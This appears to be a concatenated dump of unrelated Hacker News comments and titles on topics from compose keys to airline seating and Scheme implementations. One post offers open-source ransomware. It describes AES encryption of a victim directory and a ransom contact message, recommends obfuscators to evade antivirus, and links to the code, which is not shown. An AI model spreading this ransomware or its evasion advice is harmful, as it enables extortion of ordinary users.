skysight-inc/HackerNews huggingface dataset:
Depending on your operating system, you might have (the option to remap a key to) a compose key. Then you can press compose followed by, for example, <= to make ≤. This also works for letters with diacritics on them, like "o for ö or 'o for ó, currency like =C for € or =L for ₤, or other symbols like tm for ™.

You might also be able to set up your own compose codes in ~/.XCompose, but that didn't work for me. Could be another casualty of Wayland or just some quirk in my setup.
That's why you need editor support for this; the lexer understands the difference between an operator and a string literal (that's how syntax highlighting works), and should be able to use ligatures in one context but not the other.

(BTW I'm not a fan of coding ligatures myself, but they seem to be popular.)
Austrian economics also rejects empirical assesment of its claims. Instead, universal thruths are derived "logically" (formal logic banned though) from "obviously true" axioms using a method called praxeology.

It seems a lot like Scientology: the more you learn about it, the more bizarre it gets. And of course it's used to extract a lot of money for few benefactors.
Safer != safe.

> The question of getting appropriate nuclear materials looms large.

Ukraine has nuclear reactors. It's not a problem for a nuclear country.
I’d wager the furniture industry is currently responsible for a significant % of anual deforestation, which as far as I know isn’t regrowing fast enough.

An approach like this could benefit from crops which are not productive for humanity otherwise, but which grows much faster and eats CO2 cheaper than trees.

Does that mean “stop replanting forests?” Absolutely not.
> More responsibility for the same pay, corralling people, and inevitably adding their workload to yours?

That's perhaps what you would do to your team but that's not what I suggested in my comment.

> Not surprising sr devs weren't jumping on this whole hog.

Senior devs interested in growing beyond pure dev do jump on this opportunity and job satisfaction an retention increases.
Since data used to train chatgpt is public internet data, it will probable be bad at anything uncommon niche knowledge
could I ask, under what conditions would you consider it a rescue?
You might be misunderstanding here what the "goal" is. Your training metric is just another approximation of the goal, and it is almost never perfect. If it is perfect, you cannot overfit, by definition.
Uhh, the pilot will notice that the right half of your display is black and you have to move the displayed data to the left one?
Might motivate them to work harder, right?
You aren’t wrong about flight attendants but also big companies exploit your empathy. You aren’t ever allowed to see or communicate with anyone other than ill paid employees with no responsibility. This is intended to defuse and disarm your anger and frustration at the company—-whether legitimate or not.
I agree with everything you said, I just found myself compelled to point out that the fuselage is not airtight (there are air intakes from outside, the toilet flush uses the pressure differential, etc).
well if he wants the credit, he deserves all the credit.
I LOVE this! A little bit for sticking it to the man but mostly for doing a crazy MITM for cheap.

If anyone here has access to one of these devices, please try to capture the firmware and the traffic for us.
We've seen this during the COVID pandemic supply chain disruptions as well, where just in time supply chain management doesn't work as expected when operating in an abnormal environment.
There is research on costly signalling and evolution.
Yes and we also say you rescued me if I am bang out of cash and you lend me a fiver at checkout...

If you see a news headline "man rescues child" you expect a direct threat like something like from a burning house.

> if somebody finds a child wandering in the park alone, we say that the man rescued the child. Exactly as SpaceX is doing in this situation.

Plus, saying astronauts, professionals who signed up for the job knowing what it entails and went through years of training are like children wandering in the park, to paint SpaceX as their savior, is... wow.
Undetected ransomware C# open source
Most of the currently active ransomware has been detected, so I wanted to write my own ransomware and give it to you. It is rated 74/0 active in the virus total. Since the ransomware is open source, you can develop it. What you do is up to you.

------------------------------------------------

How It Works?
1- When the program is opened, it encrypts the specified directory with the aes method.
2- Shows a text to the user, specify your contact address so that they can contact you.
3- If the key is entered correctly, the directory will be restored.

NOT: Don't forget to press obfuscator on the program I will recommend obfuscator vmp - themida - sugarguard

Code->

https://pastebin.com/5Sf5xq3h
I think that's the point: correctness can be a sliding scale. There is Newton correct, and there's Einstein correct.
Indeed. If I am putting together a product and I rely on an assembly from a third party, it’s my responsibility to ensure that I have adequate QC processes in place to ensure that assemblies are made to spec before accepting them. To simply take a supplier’s word for it is negligent.
Heh, I'm not exactly the 'raging', more the 'eye rolling' type, but I can relate each time I travel in German ICE trains with a cramped full second class and empty first class (which is the common situation on weekends). Just getting rid of the first class would pretty much double the train capacity between cities (regional trains already either don't have a first class at all, or a very small section - which also is always empty anyway).
"the ever-shrinking personal space available might be a significant factor"

What, really? You mean, people don't like having the fat blob next to them overflowing into their seat, while their knees are mashed against the seat in front? Who could have guessed?
Uhh, that's not "seamlessly blending two displays", that's just having two desplays. If you've seen photos of planes, they don't just have an empty screen next to a working one anywhere.
Vagrant Holiday in Europe [video]
Teaching is a terrible example. Teaching is actually more efficient when it is decentralised as the teachers can adapt to local environment and changes. With centralisation you have bad feedback loop.
s/airtight/pressurized/g then :)
Sorry for being stupid, but I have a python script to index website too. But I dont understand why it's alway can not index pages on time. How your tool can solve it
For a "Follow me" car to work, you still need good enough visibility to see the car's lights. Is that always true? I'd guess that in the worst snow storms it's already not true as far South as JFK.
> I'm still on the lookout for a language that feels as low-friction as a dynamic language but could do some form of iterable.map in parallel on all cores transparently.

If you can get past the typical "ew parenthesis instead of curly-brackets" and prefix/Polish notation, Clojure is great for this. You'd normally do `(map a-func my-elements)` but if you want the map processing to be parallel, you'd change `map` to `pmap` without any other changes needed.
"How many moons must a moon rover rover before you can call a rover a moon rover?"
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Efficiency is usually easier than effectiveness so it is optimised for much more and that spills over in the results and outcomes, of course.
How is first class stealing anything? Without it, there would just be more second class seats. Not more space per seat.
Android adopted an approach in a similar spirit.

https://source.android.com/docs/core/ota/ab
Pretty much the same, except I use github copilot. I have exactly the same remarks, but I also use it to generate test cases, and I use in addition Microsoft Copilot for:

- Writing docstrlings. It helps to have a template.

- rubber duck. II try to explain my issue to it. It doesn't find the solution 90% of the time, but explaining the issue helps me (and sometimes you get a hint)
Always nice to see my Alma Mater in the (Hacker) news. Monash always seems like a bit of a non-entity compared to the big sandstones and ANU but they are always doing newsworthy stuff.
There’s no lack of open chat protocols and federated services but those have mostly torpedoed themselves: by usability and discoverability problems, holier–than–you attitudes, and plain nerd attention wars. Such as XMPP (used a lot until around 2010 but easily dragged into the mud because XML and overengineering), Mastodon (saw a surge as twitter was faltering but then seemingly stopped to be everyone‘s darling as its limitations became obvious, among them Mastodon admins taking their audience hostage; also ActivityPub fans going around advertising it for each and everything when RSS is just fine for web sites, damaging news feeds alltogether in the process).

Where spamming, or the systematic exploitation of digital communication by the „ad industry“, was killing it in the past (Usenet, and arguably the web), today there‘s also the problem of being consumed by LLMs to push non-public messaging. Though I‘m not sure the latter is really a concern for many, as developers not only are giving away their code, but their entire activity log/issues and their solutions on github such that they can easily be digested and replaced by coding assistant LLMs, git being a distributed system in the first place.
Other than paying them for hardware that has no discernible advertising revenue for Apple...

My personal favourite example is device encryption. Briefly, I worked in the mobile device management (MDM) space when that was a very new thing, and all the major manufacturers had to start adding device encryption to meet enterprise policy requirements. (At the time, all new Windows laptops used BitLocker.)

So the vendors did that. They added encryption to their devices.

The Android spec sheet added a line:

Encryption: Yes

Apple had a tech day talk where the guy in charge of device encryption dev team talked for an hour about the four layers of encryption on an iPhone. How it decrypts the bare minimum when booting, and keeps itself in a partially-decrypted mode while locked. How there's a bunch of fine-grained keys so that app-specific data can't leak out. So on, and so forth. The aim was to prevent state-sponsored groups pulling apart locked-but-powered-on phones and extracting plain text secrets directly from the flash, cache memory, or whatever.

They had thought of everything. It was as good as encryption could be made without compromising on functionality. I dabble in the Enterprise PKI space also, and the only time I had seen a design this thorough was the internal Ethernet network of the Boeing 787 plane[1].

Afterwards I paid more attention every time there was some fight between a government agency like the FBI and Apple. Each and every time, Apple chose the side of their customers, locking things down further with secure enclaves, anti-hammering protections, in-house security-critical silicon design, and more.

As a reminder, Google's level of encryption is simply "yes". A checkbox tick to meet a requirement, that's all. They really, really don't care about your data security, and it shows in the way they act in practice.

I see similar customer-centric design elements in Apple AirTags. I read the whitepaper on the cryptographic algorithms they used. These very cleverly provide the maximum possible functionality with the minimum possible user data exposure. It's private and useful at the same time.

Google has never published anything of that sort, ever. I'm pretty sure of it.

If you disagree, please link to a whitepaper outlining privacy-guaranteeing technology that they developed and have included in a product that they sell. Or Epic. Or Facebook. or anyone else.

[1] Yeah, yeah, Boeing is a bad company with bad leadership, but their engineers know their stuff.
Your analogy is flawed. Starliner has not been in service for 40 years, as in your example.

It’s a fairly new vehicle, newer than the Dragon capsule.
That you for confirming that I am indeed reading a hacker news thread
Deep Dive: Low Code/No Code Integration Capabilities
I was thinking about the world Cup or the Olympics tbh, I don't really have the American context.
Google Drive Blocks Unverified Apps
South Korea set to criminalize having or watching sexually explicit deepfakes
Guile probably has the best Emacs integration through Geiser. While you don't really need it and you can just follow along with a terminal REPL, using something like Geiser helps keeping the experience smooth.

MIT/GNU Scheme comes with its own editor, edwin, which is a terminal-only Emacs-like. I don't know how much it complies with the various RnRSes, but I do believe it's good enough to work for the Little series.

Gauche is R7RS-small (and I believe -large up to Tangerine) compliant so it should just work. It also has fairly good Geiser support and comes with an enormous standard library, 'batteries included' as they say, though its performance is a bit lower than some of the other implementations.

Cyclone is R7RS-small compliant so it should work. It seems fairly fast and it has a package manager, but because it's fairly new I don't know how well it works with Geiser.

Loko is R6RS compliant so it should work. I believe the documentation says that it should work with Geiser using the Chez module, but I may be mistaken.

Gerbil is R7RS-small compliant (and I believe -large through Red, maybe through Tangerine?) so it should work. I believe it's also quite performant, though I haven't used it.

Kawa is R7RS-small compliant if I'm not mistaken. If so it should work for the Little series. It also has a Geiser module.

And then there are a few implementations of which I'm not entirely sure which version of the spec they comply with and how well they're supported by various editors (though I think SLIME has Scheme support, although that may only be for MIT/GNU Scheme): Gambit (I think R5RS? Gerbil is built on top of it), Bigloo (I think R6RS?), Larceny, Chibi Scheme, Biwa Scheme, S7, and IronScheme. For any of those, as long as they support post R4RS macros (so using `define-syntax' and `syntax-rules' instead of `defmacro)' they should work for the Little series without any adjustments. If they're still using `defmacro' then you'd need to translate the macro definitions from Reasoned (and later?), which isn't that hard... but if you're gonna do that you may want to read On Lisp after Seasoned.
> The only problem I've seen is that occasionally the server ssh process will get stuck, so you have to log in to the server and kill it.

You also need ClientAliveInterval on the server side (in addition to ServerAliveInterval on the client). In other words, both the client and the server need to be configured to monitor the connection. With this setup I had no issues with reconnections.
I’m launching you in style one day
Black hole jet appears to boost rate of nova explosions for unknown reason
Describing what I want to design seems like more effort than actually just sketching things out in a decent CAD package.
Or to be born into the right family/country/situation in their next life?
(2014) should be changed to (2009) too.
To start with, if there was no first or business class, there would be more room for everyone else on the plane ? It’s pretty simple actually.
The great sort of news you want to hear while drinking your morning coffee and living in Kent to the east of London.
Show HN: I implemented Redux state management using an object-oriented approach
After switching to zustand, the implementation of the model layer has become much more concise, even simpler than iron-redux. Since we can interpret Redux principles so flexibly, I decided to be even lazier and created an object-oriented zustand library, zustand-oop. It implements Flux principles using an object-oriented approach.
Anyone wanting to introduce $new/$other language, database, library, deployment system, build system into a large enough system that doesn't solve any actual problem is a nightmare for someone working at this scale.

I don't mind the scale, I like it. I don't like having to fend off questions and complaints why we aren't deploying the latest shiny new thing in our core this week.
Show HN: Crypto Investment Advisor AI – AI Investment Advisory System
Crypto Investment Advisor AI is an investment advisory system leveraging blockchain and artificial intelligence technologies. The system integrates Chainlink to fetch real-time cryptocurrency market data and utilizes GaiaNet’s multi-role AI nodes to provide personalized investment advice to users. Users can authenticate via a Web3 wallet, submit investment questions, and the system will analyze market data and generate professional recommendations through different AI role nodes. Additionally, the system includes an investment simulator that offers users an intuitive understanding of potential returns based on expert opinions.
GitHub: https://github.com/foxmoon/CryptoInvestmentAdvisorAI
I’m not a mobile platform developer any more but I just wonder: How easy or hard would it be to make a mobile app that syncs all user document files to the other devices on the same account by using something simple as a CRON job that runs RSync every 30 seconds or something in this direction?

I don’t even know if there is a CRON job or equivalent on android or iOS? Or if there is an RSync port for android or iOS. But there should be
> The rates of air rage skyrocketed during the COVID pandemic, but most of that was due to the mask mandate. What's puzzling regulators is that it hasn't dropped to pre-pandemic levels. According to University of Texas researchers the ever-shrinking personal space available might be a significant factor.

It's so funny how everyone willfully ignores the elephant in the room: COVID causes serious neurological damage [1]. The shrinking personal space is a myth, at least in the timeframe we're looking at - airlines are flying whatever is remotely airworthy, no one sends a plane off for months of being reconfigured and upgraded (maybe except Lufthansa who have pushed their renovations so far that the aged interior is now seriously crippling their competitiveness). The planes are the same that were flying pre-COVID.

> Transport Canada says the bad behavior sometimes starts before boarding. Earlier this year it reported an increase in the number of unruly and sometimes violent people in the security lines. It's considering adding a fine structure for passengers who abuse security agents.

And that one is the second elephant: Of course people get unruly when they have to wait for delayed boarding, lose baggage and whatnot. During COVID many airports let staff go because they didn't have money, those people left the industry forever, and now they can't hire enough replacement staff - airports usually are outside of the cities, so long commute times, pay is shit, and bureaucracy is often a nightmare too(in Germany, everyone working on the airfield side has to pass a governmental, very extensive background check).

Fines won't work, not when many people have to deal with lingering COVID aftereffects and service quality is dog shit.

[1] https://theconversation.com/mounting-research-shows-that-cov...
Ships and their crews can‘t be cheap. Who paid to put the ammonium nirate on the ruby? Who paid for the ship to go somewhere? What was the original deal involving the ammonium nitrate? Did someone in another country originally plan to buy it but the deal was later cancelled?

The ammonium nitrate cargo alone is worth several million us dollar.
eh, sure, but I don’t think it’s hard to make the distinction in this case. When something egregious happens with a flight, do I bitch at the flight attendants and take out my frustration on them? No. Did I make a huge stink to the airline complaints department afterwards? Yes. I don’t feel my empathy is being exploited here.
'People say, just get surgery, and I'm like: Bruh, this is after surgery'
Disagree. The airlines would just add more cattle-car seats.
Out of curiosity, why do people switch to bazel? I don't have much experience with it, so maybe I'm missing out?
The True Cost of America's Gun Obsession
Just leave it offshore then? I’m fairly certain ‘outside of territorial waters’ is equivalent to ‘more than 25km from shore’. It can safely explode there. If the crew want to get taken off their sinking ship they are more than welcome.
Agree that autolands are rare, but they are used for low visibility procedures and it's not "1 plane per runway". Almost the opposite, typically you would only use a limited set of runways in such conditions and severely limit the complexity of ground routing.

Practically real zero-visibility almost doesn't happen. There will be some visibility just very very little.

You can taxi slowly (think 10 miles per hour) following bright centerline lights in quite low visibility. But it would be very dangerous to manually control a landing rollout at 150+ miles per hour in that visibility.
It would be nice, if us on HN, can crowdsource, some good KPIs/Proxies for the goals mentioned in the article.

These ones:

Goal: Educate children well
Proxy: Measure student and school performance on standardized tests
Strong version of Goodhart's law leads to: Schools narrowly focus on teaching students to answer questions like those on the test, at the expense of the underlying skills the test is intended to measure

---
Goal: Rapid progress in science
Proxy: Pay researchers a cash bonus for every publication
Strong version of Goodhart's law leads to: Publication of incorrect or incremental results, collusion between reviewers and authors, research paper mills

---
Goal: A well-lived life
Proxy: Maximize the reward pathway in the brain
Strong version of Goodhart's law leads to: Substance addiction, gambling addiction, days lost to doomscrolling Twitter

---
Goal: Healthy population
Proxy: Access to nutrient-rich food
Strong version of Goodhart's law leads to: Obesity epidemic

---
Goal: Leaders that act in the best interests of the population
Proxy: Leaders that have the most support in the population
Strong version of Goodhart's law leads to: Leaders whose expertise and passions center narrowly around manipulating public opinion at the expense of social outcomes

---
Goal: An informed, thoughtful, and involved populace
Proxy: The ease with which people can share and find ideas
Strong version of Goodhart's law leads to: Filter bubbles, conspiracy theories, parasitic memes, escalated tribalism

---
Goal: Distribution of labor and resources based upon the needs of society
Proxy: Capitalism
Strong version of Goodhart's law leads to: Massive wealth disparities (with incomes ranging from hundreds of dollars per year to hundreds of dollars per second), with more than a billion people living in poverty

---

I will start:

Goal: Leaders that act in the best interests of the population

Good proxy: Mandate that local leaders can only send their kids to the schools in their precinct. They can only take their families to the hospitals in their precincts.